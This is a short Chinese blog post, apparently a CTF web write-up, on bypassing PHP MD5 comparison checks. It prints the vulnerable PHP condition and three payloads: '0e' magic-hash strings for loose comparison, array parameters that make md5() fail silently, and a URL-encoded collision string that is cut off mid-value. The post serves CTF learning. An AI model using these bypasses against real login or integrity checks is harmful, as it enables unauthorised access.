CTFweb题目中的md5弱类型题解

原创

神林、 于 2018-10-09 20:30:55 发布 5658 收藏 3
文章标签： CTF

本文链接：https://blog.csdn.net/qq_41079177/article/details/82988272


```
<h2>The Fisrt Easy Md5 Challenge</h2>
<!--
    if($_POST['param1']!=$_POST['param2'] && md5($_POST['param1'])==md5($_POST['param2'])){
            die("success!");
        }
-->
```

md5弱比较，为0e开头的会被识别为科学记数法，结果均为0

payload：

```
param1=QNKCDZO&param2=aabg7XSs
```

```
md5强比较，没有规定字符串如果这个时候传入的是数组不是字符串，md5（）函数无法解出其数值并且不会报错，就会得到数值相等；
```

payload:

```
param1[]=111&param2[]=222
```

```
真实md5碰撞，因为此时不能输入数组了，只能输入字符串
```

payload:

```
param1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%
```

给出两个关于md5碰撞的网站：

md5碰撞1

md5碰撞2